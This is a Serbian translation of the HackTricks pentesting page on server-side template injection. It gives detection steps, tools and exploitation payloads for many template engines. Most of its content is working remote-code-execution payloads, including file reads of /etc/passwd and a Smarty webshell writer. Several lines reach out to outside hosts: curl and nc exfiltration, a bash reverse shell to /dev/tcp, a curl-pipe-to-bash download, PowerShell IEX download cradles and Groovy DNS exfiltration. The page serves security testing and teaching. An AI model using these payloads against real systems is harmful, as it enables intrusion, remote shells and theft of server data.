hacktricks/pentesting-web/ssti-server-side-template-injection
2024-03-16 10:06:24 +00:00
..
el-expression-language.md Translated to Serbian 2024-02-10 13:11:20 +00:00
jinja2-ssti.md Translated ['generic-methodologies-and-resources/external-recon-methodol 2024-02-23 16:45:30 +00:00
README.md Translated ['mobile-pentesting/android-app-pentesting/webview-attacks.md 2024-03-16 10:06:24 +00:00

SSTI (Server Side Template Injection)

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

RootedCON je najrelevantniji događaj u oblasti sajber bezbednosti u Španiji i jedan od najvažnijih u Evropi. Sa misijom promovisanja tehničkog znanja, ovaj kongres je ključno mesto susreta tehnologije i profesionalaca za sajber bezbednost u svakoj disciplini.

{% embed url="https://www.rootedcon.com/" %}

Šta je SSTI (Server-Side Template Injection)

Server-side template injection je ranjivost koja se javlja kada napadač može da ubaci zlonamerni kod u šablon koji se izvršava na serveru. Ova ranjivost može biti pronađena u različitim tehnologijama, uključujući Jinju.

Jinja je popularni sistem šablona koji se koristi u veb aplikacijama. Razmotrimo primer koji demonstrira ranjiv isječak koda koji koristi Jinju:

output = template.render(name=request.args.get('name'))

U ovom ranjivom kodu, parametar name iz zahteva korisnika direktno se prosleđuje u šablon pomoću funkcije render. Ovo potencijalno može omogućiti napadaču da ubaci zlonamerni kod u parametar name, što može dovesti do ubacivanja šablona na serverskoj strani.

Na primer, napadač bi mogao da napravi zahtev sa payload-om kao što je ovaj:

http://vulnerable-website.com/?name={{bad-stuff-here}}

Payload {{loše-stvari-ovde}} je ubačen u parametar name. Ovaj payload može sadržati Jinja direktive predložaka koje omogućavaju napadaču da izvrši neovlašćeni kod ili manipuliše mašinom predložaka, potencijalno preuzimajući kontrolu nad serverom.

Da bi se sprečile ranjivosti na ubacivanje predložaka na serverskoj strani, developeri treba da se pobrinu da korisnički unos bude pravilno očišćen i validiran pre nego što bude ubačen u predloške. Implementacija validacije unosa i korišćenje tehnika bekend-izbegavanja koje su svesne konteksta mogu pomoći u smanjenju rizika od ove ranjivosti.

Detekcija

Za otkrivanje ubacivanja predložaka na serverskoj strani (SSTI), u početku, fuzziranje predložaka je jednostavan pristup. To uključuje ubacivanje sekvence posebnih karaktera (${{<%[%'"}}%\) u predložak i analiziranje razlika u odgovoru servera na regularne podatke u odnosu na ovaj posebni payload. Indikatori ranjivosti uključuju:

  • Bacanje grešaka, otkrivanje ranjivosti i potencijalno mašine predložaka.
  • Odsustvo payloada u refleksiji, ili delovi koji nedostaju, što implicira da server obrađuje drugačije nego regularne podatke.
  • Tekstualni kontekst: Razlikovanje od XSS-a proverom da li server evaluira izraze predložaka (npr. {{7*7}}, ${7*7}).
  • Kontekst koda: Potvrda ranjivosti menjanjem ulaznih parametara. Na primer, promena greeting u http://vulnerable-website.com/?greeting=data.username da biste videli da li je izlaz servera dinamičan ili fiksan, kao u greeting=data.username}}hello koji vraća korisničko ime.

Faza identifikacije

Identifikacija mašine predložaka uključuje analizu poruka o greškama ili ručno testiranje različitih payloada specifičnih za jezik. Uobičajeni payloadi koji izazivaju greške uključuju ${7/0}, {{7/0}}, i <%= 7/0 %>. Posmatranje odgovora servera na matematičke operacije pomaže u preciziranju specifične mašine predložaka.

Alati

TInjA

efikasan skener SSTI + CSTI koji koristi nove poligloti

tinja url -u "http://example.com/?name=Kirlia" -H "Authentication: Bearer ey..."
tinja url -u "http://example.com/" -d "username=Kirlia"  -c "PHPSESSID=ABC123..."

SSTImap

python3 sstimap.py -i -l 5
python3 sstimap.py -u "http://example.com/ --crawl 5 --forms
python3 sstimap.py -u 'https://example.com/page?name=John' -s

Tplmap

python2.7 ./tplmap.py -u 'http://www.target.com/page?name=John*' --os-shell
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=*&comment=supercomment&link"
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment=A&link" --level 5 -e jade

Tabela ubacivanja šablona

interaktivna tabela koja sadrži najefikasnije poliglote za ubacivanje šablona zajedno sa očekivanim odgovorima 44 najvažnija mašina za šablone.

Eksploatacije

Generičke

U ovom wordlist-u možete pronaći promenljive definisane u okruženjima nekih od mašina navedenih u nastavku:

Java

Java - Osnovno ubacivanje

${7*7}
${{7*7}}
${class.getClassLoader()}
${class.getResource("").getPath()}
${class.getResource("../../../../../index.htm").getContent()}
// if ${...} doesn't work try #{...}, *{...}, @{...} or ~{...}.

Java - Prikupljanje sistemskih promenljivih okruženja

${T(java.lang.System).getenv()}

Java - Dobavljanje /etc/passwd fajla

${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}

${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}

FreeMarker (Java)

Možete probati svoje payload-e na https://try.freemarker.apache.org

  • {{7*7}} = {{7*7}}
  • ${7*7} = 49
  • #{7*7} = 49 -- (legacy)
  • ${7*'7'} Nothing
  • ${foobar}
<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
[#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')}
${"freemarker.template.utility.Execute"?new()("id")}

${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}

Freemarker - Bypass bezbednosnog peska

⚠️ radi samo na verzijama Freemarker-a ispod 2.3.30

<#assign classloader=article.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("id")}

Više informacija

Brzina (Java)

// I think this doesn't work
#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end

// This should work?
#set($s="")
#set($stringClass=$s.getClass())
#set($runtime=$stringClass.forName("java.lang.Runtime").getRuntime())
#set($process=$runtime.exec("cat%20/flag563378e453.txt"))
#set($out=$process.getInputStream())
#set($null=$process.waitFor() )
#foreach($i+in+[1..$out.available()])
$out.read()
#end

Više informacija

Thymeleaf

U Thymeleaf-u, čest test za ranjivosti SSTI je izraz ${7*7}, koji takođe važi za ovaj šablonski motor. Za potencijalno izvršavanje udaljenog koda, mogu se koristiti izrazi poput sledećih:

  • SpringEL:
${T(java.lang.Runtime).getRuntime().exec('calc')}
  • OGNL:
${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}

Thymeleaf zahteva da se ovi izrazi postave unutar određenih atributa. Međutim, inline izrazi se podržavaju za druge lokacije šablona, koristeći sintaksu poput [[...]] ili [(...)]. Stoga, jednostavan testni niz za SSTI može izgledati kao [[${7*7}]].

Međutim, verovatnoća da ovaj niz radi je generalno niska. Podrazumevana konfiguracija Thymeleaf-a ne podržava dinamičku generaciju šablona; šabloni moraju biti unapred definisani. Programeri bi morali implementirati svoj TemplateResolver da bi kreirali šablone iz nizova na zahtev, što je retko.

Thymeleaf takođe nudi preprocesiranje izraza, gde se izrazi unutar duplih donjih crta (__...__) preprocesiraju. Ova funkcija može se koristiti u konstrukciji izraza, kako je prikazano u dokumentaciji Thymeleaf-a:

#{selection.__${sel.code}__}

Primer ranjivosti u Thymeleaf-u

Razmotrite sledeći odlomak koda, koji bi mogao biti podložan zloupotrebi:

<a th:href="@{__${path}__}" th:title="${title}">
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>

Ovo ukazuje da ako šablon mašina nepravilno obrađuje ove ulaze, to može dovesti do izvršavanja udaljenog koda pristupanjem URL-ovima kao što su:

http://localhost:8082/(7*7)
http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})

Više informacija

{% content-ref url="el-expression-language.md" %} el-expression-language.md {% endcontent-ref %}

Spring Framework (Java)

*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}

Bypass filteri

Mogu se koristiti višestruki izrazi promenljivih, ako ${...} ne radi, pokušajte sa #{...}, *{...}, @{...} ili ~{...}.

  • Pročitaj /etc/passwd
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
  • Prilagođeni skript za generisanje payload-a
#!/usr/bin/python3

## Written By Zeyad Abulaban (zAbuQasem)
# Usage: python3 gen.py "id"

from sys import argv

cmd = list(argv[1].strip())
print("Payload: ", cmd , end="\n\n")
converted = [ord(c) for c in cmd]
base_payload = '*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec'
end_payload = '.getInputStream())}'

count = 1
for i in converted:
if count == 1:
base_payload += f"(T(java.lang.Character).toString({i}).concat"
count += 1
elif count == len(converted):
base_payload += f"(T(java.lang.Character).toString({i})))"
else:
base_payload += f"(T(java.lang.Character).toString({i})).concat"
count += 1

print(base_payload + end_payload)

Više informacija

Manipulacija Spring pogleda (Java)

__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x
__${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x

{% content-ref url="el-expression-language.md" %} el-expression-language.md {% endcontent-ref %}

Pebble (Java)

  • {{ someString.toUPPERCASE() }}

Stara verzija Pebble-a ( < verzija 3.0.9):

{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}

Nova verzija Pebble-a:

{% raw %}
{% set cmd = 'id' %}
{% endraw %}



{% set bytes = (1).TYPE
.forName('java.lang.Runtime')
.methods[6]
.invoke(null,null)
.exec(cmd)
.inputStream
.readAllBytes() %}
{{ (1).TYPE
.forName('java.lang.String')
.constructors[0]
.newInstance(([bytes]).toArray()) }}

Jinjava (Java)

{{'a'.toUpperCase()}} would result in 'A'
{{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206

Jinjava je projekat otvorenog koda koji je razvio Hubspot, dostupan na https://github.com/HubSpot/jinjava/

Jinjava - Izvršavanje komandi

Popravljeno od strane https://github.com/HubSpot/jinjava/pull/230

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}

Više informacija

Hubspot - HuBL (Java)

  • {% %} delimitatori izjava
  • {{ }} delimitatori izraza
  • {# #} delimitatori komentara
  • {{ request }} - com.hubspot.content.hubl.context.TemplateContextRequest@23548206
  • {{'a'.toUpperCase()}} - "A"
  • {{'a'.concat('b')}} - "ab"
  • {{'a'.getClass()}} - java.lang.String
  • {{request.getClass()}} - class com.hubspot.content.hubl.context.TemplateContextRequest
  • {{request.getClass().getDeclaredMethods()[0]}} - public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()

Pretražite "com.hubspot.content.hubl.context.TemplateContextRequest" i otkrijte Jinjava projekat na Github-u.

{{request.isDebug()}}
//output: False

//Using string 'a' to get an instance of class sun.misc.Launcher
{{'a'.getClass().forName('sun.misc.Launcher').newInstance()}}
//output: sun.misc.Launcher@715537d4

//It is also possible to get a new object of the Jinjava class
{{'a'.getClass().forName('com.hubspot.jinjava.JinjavaConfig').newInstance()}}
//output: com.hubspot.jinjava.JinjavaConfig@78a56797

//It was also possible to call methods on the created object by combining the



{% raw %}
{% %} and {{ }} blocks
{% set ji='a'.getClass().forName('com.hubspot.jinjava.Jinjava').newInstance().newInterpreter() %}
{% endraw %}


{{ji.render('{{1*2}}')}}
//Here, I created a variable 'ji' with new instance of com.hubspot.jinjava.Jinjava class and obtained reference to the newInterpreter method. In the next block, I called the render method on 'ji' with expression {{1*2}}.

//{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
//output: xxx

//RCE
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
//output: java.lang.UNIXProcess@1e5f456e

//RCE with org.apache.commons.io.IOUtils.
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//output: netstat execution

//Multiple arguments to the commands
Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//Output: Linux bumpy-puma 4.9.62-hs4.el6.x86_64 #1 SMP Fri Jun 1 03:00:47 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux

Više informacija

Expression Language - EL (Java)

  • ${"aaaa"} - "aaaa"
  • ${99999+1} - 100000.
  • #{7*7} - 49
  • ${{7*7}} - 49
  • ${{request}}, ${{session}}, {{faceContext}}

Expression Language (EL) je osnovna funkcija koja olakšava interakciju između sloja prezentacije (kao što su web stranice) i aplikacione logike (kao što su upravljani bean-ovi) u JavaEE. Ona se široko koristi u više JavaEE tehnologija kako bi olakšala ovu komunikaciju. Ključne JavaEE tehnologije koje koriste EL uključuju:

  • JavaServer Faces (JSF): Koristi EL za povezivanje komponenti na JSF stranicama sa odgovarajućim podacima i akcijama na backend-u.
  • JavaServer Pages (JSP): EL se koristi u JSP-u za pristupanje i manipulaciju podacima unutar JSP stranica, čime se olakšava povezivanje elemenata stranice sa podacima aplikacije.
  • Contexts and Dependency Injection for Java EE (CDI): EL se integriše sa CDI kako bi omogućio besprekornu interakciju između web sloja i upravljanih bean-ova, osiguravajući coerentniju strukturu aplikacije.

Proverite sledeću stranicu da biste saznali više o eksploataciji EL interpretatora:

{% content-ref url="el-expression-language.md" %} el-expression-language.md {% endcontent-ref %}

Groovy (Java)

Navedeni zaobiđeni bezbednosni menadžeri preuzeti su sa ovog izveštaja.

//Basic Payload
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "ping cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net "
assert java.lang.Runtime.getRuntime().exec(cmd.split(" "))
})
def x

//Payload to get output
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "whoami";
out = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmd.split(" ")).getInputStream()).useDelimiter("\\A").next()
cmd2 = "ping " + out.replaceAll("[^a-zA-Z0-9]","") + ".cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net";
java.lang.Runtime.getRuntime().exec(cmd2.split(" "))
})
def x

//Other payloads
new groovy.lang.GroovyClassLoader().parseClass("@groovy.transform.ASTTest(value={assert java.lang.Runtime.getRuntime().exec(\"calc.exe\")})def x")
this.evaluate(new String(java.util.Base64.getDecoder().decode("QGdyb292eS50cmFuc2Zvcm0uQVNUVGVzdCh2YWx1ZT17YXNzZXJ0IGphdmEubGFuZy5SdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKCJpZCIpfSlkZWYgeA==")))
this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 114, 97, 110, 115, 102, 111, 114, 109, 46, 65, 83, 84, 84, 101, 115, 116, 40, 118, 97, 108, 117, 101, 61, 123, 97, 115, 115, 101, 114, 116, 32, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101, 46, 103, 101, 116, 82,117, 110, 116, 105, 109, 101, 40, 41, 46, 101, 120, 101, 99, 40, 34, 105, 100, 34, 41, 125, 41, 100, 101, 102, 32, 120}))

RootedCON je najrelevantniji događaj u oblasti sajber bezbednosti u Španiji i jedan od najvažnijih u Evropi. Sa misijom promovisanja tehničkog znanja, ovaj kongres je ključno mesto susreta tehnoloških i stručnjaka za sajber bezbednost u svakoj disciplini.

{% embed url="https://www.rootedcon.com/" %}

Smarty (PHP)

{$smarty.version}
{php}echo `id`;{/php} //deprecated in smarty v3
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
{system('ls')} // compatible v3
{system('cat index.php')} // compatible v3

Više informacija

Twig (PHP)

  • {{7*7}} = 49
  • ${7*7} = ${7*7}
  • {{7*'7'}} = 49
  • {{1/0}} = Error
  • {{foobar}} Nothing
#Get Info
{{_self}} #(Ref. to current application)
{{_self.env}}
{{dump(app)}}
{{app.request.server.all|join(',')}}

#File read
"{{'/etc/passwd'|file_excerpt(1,30)}}"@

#Exec code
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("whoami")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;hostname")}}
{{['id']|filter('system')}}
{{['cat\x20/etc/passwd']|filter('system')}}
{{['cat$IFS/etc/passwd']|filter('system')}}
{{['id',""]|sort('system')}}

#Hide warnings and errors for automatic exploitation
{{["error_reporting", "0"]|sort("ini_set")}}

Twig - Format šablona

$output = $twig > render (
'Dear' . $_GET['custom_greeting'],
array("first_name" => $user.first_name)
);

$output = $twig > render (
"Dear {first_name}",
array("first_name" => $user.first_name)
);

Više informacija

Plates (PHP)

Plates je sistem za šablone koji je ugrađen u PHP, inspirisan Twig-om. Međutim, za razliku od Twiga, koji uvodi novu sintaksu, Plates koristi ugrađeni PHP kod u šablonima, čineći ga intuitivnim za PHP programere.

Kontroler:

// Create new Plates instance
$templates = new League\Plates\Engine('/path/to/templates');

// Render a template
echo $templates->render('profile', ['name' => 'Jonathan']);

Šablon stranice:

<?php $this->layout('template', ['title' => 'User Profile']) ?>

<h1>User Profile</h1>
<p>Hello, <?=$this->e($name)?></p>

Šablon rasporeda:

<html>
<head>
<title><?=$this->e($title)?></title>
</head>
<body>
<?=$this->section('content')?>
</body>
</html>

Više informacija

PHPlib i HTML_Template_PHPLIB (PHP)

HTML_Template_PHPLIB je isto što i PHPlib, ali prebačen na Pear.

authors.tpl

<html>
<head><title>{PAGE_TITLE}</title></head>
<body>
<table>
<caption>Authors</caption>
<thead>
<tr><th>Name</th><th>Email</th></tr>
</thead>
<tfoot>
<tr><td colspan="2">{NUM_AUTHORS}</td></tr>
</tfoot>
<tbody>
<!-- BEGIN authorline -->
<tr><td>{AUTHOR_NAME}</td><td>{AUTHOR_EMAIL}</td></tr>
<!-- END authorline -->
</tbody>
</table>
</body>
</html>

autori.php

<?php
//we want to display this author list
$authors = array(
'Christian Weiske'  => 'cweiske@php.net',
'Bjoern Schotte'     => 'schotte@mayflower.de'
);

require_once 'HTML/Template/PHPLIB.php';
//create template object
$t =& new HTML_Template_PHPLIB(dirname(__FILE__), 'keep');
//load file
$t->setFile('authors', 'authors.tpl');
//set block
$t->setBlock('authors', 'authorline', 'authorline_ref');

//set some variables
$t->setVar('NUM_AUTHORS', count($authors));
$t->setVar('PAGE_TITLE', 'Code authors as of ' . date('Y-m-d'));

//display the authors
foreach ($authors as $name => $email) {
$t->setVar('AUTHOR_NAME', $name);
$t->setVar('AUTHOR_EMAIL', $email);
$t->parse('authorline_ref', 'authorline', true);
}

//finish and echo
echo $t->finish($t->parse('OUT', 'authors'));
?>

Više informacija

Jade (NodeJS)

- var x = root.process
- x = x.mainModule.require
- x = x('child_process')
= x.exec('id | nc attacker.net 80')
#{root.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout}

Više informacija

patTemplate (PHP)

patTemplate PHP šablonizator koji ne kompajlira, koristi XML oznake za deljenje dokumenta na različite delove

<patTemplate:tmpl name="page">
This is the main page.
<patTemplate:tmpl name="foo">
It contains another template.
</patTemplate:tmpl>
<patTemplate:tmpl name="hello">
Hello {NAME}.<br/>
</patTemplate:tmpl>
</patTemplate:tmpl>

Više informacija

Handlebars (NodeJS)

Putanja Traversal (više informacija ovde).

curl -X 'POST' -H 'Content-Type: application/json' --data-binary $'{\"profile\":{"layout\": \"./../routes/index.js\"}}' 'http://ctf.shoebpatel.com:9090/'
  • Greška
  • ${7*7} = ${7*7}
  • Ništa
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').exec('whoami');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}

URLencoded:
%7B%7B%23with%20%22s%22%20as%20%7Cstring%7C%7D%7D%0D%0A%20%20%7B%7B%23with%20%22e%22%7D%7D%0D%0A%20%20%20%20%7B%7B%23with%20split%20as%20%7Cconslist%7C%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epush%20%28lookup%20string%2Esub%20%22constructor%22%29%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%23with%20string%2Esplit%20as%20%7Ccodelist%7C%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epush%20%22return%20require%28%27child%5Fprocess%27%29%2Eexec%28%27whoami%27%29%3B%22%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%23each%20conslist%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%23with%20%28string%2Esub%2Eapply%200%20codelist%29%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7B%7Bthis%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%2Feach%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%7B%7B%2Fwith%7D%7D%0D%0A%7B%7B%2Fwith%7D%7D

Više informacija

JsRender (NodeJS)

Šablon Opis
Proceni i prikaži izlaz
Proceni i prikaži izlaz enkodiran HTML-om
Komentar
and Dozvoli kod (onemogućeno po podrazumevanim postavkama)
  • = 49

Klijentska strana

{{:%22test%22.toString.constructor.call({},%22alert(%27xss%27)%22)()}}

Server Side

{{:"pwnd".toString.constructor.call({},"return global.process.mainModule.constructor._load('child_process').execSync('cat /etc/passwd').toString()")()}}

Više informacija

PugJs (NodeJS)

  • #{7*7} = 49
  • #{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('touch /tmp/pwned.txt')}()}
  • #{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('curl 10.10.14.3:8001/s.sh | bash')}()}

Primer server-side renderovanja

var pugjs = require('pug');
home = pugjs.render(injected_page)

Više informacija

NUNJUCKS (NodeJS)

  • {{7*7}} = 49
  • {{foo}} = Bez izlaza
  • #{7*7} = #{7*7}
  • {{console.log(1)}} = Greška
{{range.constructor("return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')")()}}
{{range.constructor("return global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/10.10.14.11/6767 0>&1\"')")()}}

Više informacija

ERB (Ruby)

  • {{7*7}} = {{7*7}}
  • ${7*7} = ${7*7}
  • <%= 7*7 %> = 49
  • <%= foobar %> = Error
<%= system("whoami") %> #Execute code
<%= Dir.entries('/') %> #List folder
<%= File.open('/etc/passwd').read %> #Read file

<%= system('cat /etc/passwd') %>
<%= `ls /` %>
<%= IO.popen('ls /').readlines()  %>
<% require 'open3' %><% @a,@b,@c,@d=Open3.popen3('whoami') %><%= @b.readline()%>
<% require 'open4' %><% @a,@b,@c,@d=Open4.popen4('whoami') %><%= @c.readline()%>

Više informacija

Slim (Ruby)

  • { 7 * 7 }
{ %x|env| }

Više informacija

Python

Pogledajte sledeću stranicu da biste naučili trikove o proizvoljnom izvršavanju komandi zaobići peskire u Pythonu:

{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %} bypass-python-sandboxes {% endcontent-ref %}

Tornado (Python)

  • {{7*7}} = 49
  • ${7*7} = ${7*7}
  • {{foobar}} = Error
  • {{7*'7'}} = 7777777
{% raw %}
{% import foobar %} = Error
{% import os %}

{% import os %}
{% endraw %}




{{os.system('whoami')}}
{{os.system('whoami')}}

Više informacija

Jinja2 (Python)

Zvanična veb lokacija

Jinja2 je potpuno opremljen sistem za šablone za Python. Ima punu podršku za Unicode, opciono integrisano okruženje za izvršavanje u pesku, široko se koristi i ima BSD licencu.

  • {{7*7}} = Greška
  • ${7*7} = ${7*7}
  • {{foobar}} Ništa
  • {{4*4}}[[5*5]]
  • {{7*'7'}} = 7777777
  • {{config}}
  • {{config.items()}}
  • {{settings.SECRET_KEY}}
  • {{settings}}
  • <div data-gb-custom-block data-tag="debug"></div>
{% raw %}
{% debug %}
{% endraw %}




{{settings.SECRET_KEY}}
{{4*4}}[[5*5]]
{{7*'7'}} would result in 7777777

Jinja2 - Format šablona

{% raw %}
{% extends "layout.html" %}
{% block body %}
<ul>
{% for user in users %}
<li><a href="{{ user.url }}">{{ user.username }}</a></li>
{% endfor %}
</ul>
{% endblock %}
{% endraw %}


RCE nezavisan od __builtins__:

{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read() }}

# Or in the shotest versions:
{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ joiner.__init__.__globals__.os.popen('id').read() }}
{{ namespace.__init__.__globals__.os.popen('id').read() }}

Više detalja o tome kako zloupotrebiti Jinju:

{% content-ref url="jinja2-ssti.md" %} jinja2-ssti.md {% endcontent-ref %}

Drugi payloadi na https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2

Mako (Python)

<%
import os
x=os.popen('id').read()
%>
${x}

Više informacija

Razor (.Net)

  • @(2+2) <= Uspeh
  • @() <= Uspeh
  • @("{{kod}}") <= Uspeh
  • @ <= Uspeh
  • @{} <= GREŠKA!
  • @{ <= GREŠKA!
  • @(1+2)
  • @( //C#Kod )
  • @System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");
  • @System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBCAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");

.NET System.Diagnostics.Process.Start metoda može se koristiti za pokretanje bilo kog procesa na serveru i time kreiranje webshell-a. Primer ranjive web aplikacije možete pronaći na https://github.com/cnotin/RazorVulnerableApp

Više informacija

ASP

  • <%= 7*7 %> = 49
  • <%= "foo" %> = foo
  • <%= foo %> = Ništa
  • <%= response.write(date()) %> = <Date>
<%= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11:8000/shell.ps1')").StdOut.ReadAll() %>

Više informacija

Mojolicious (Perl)

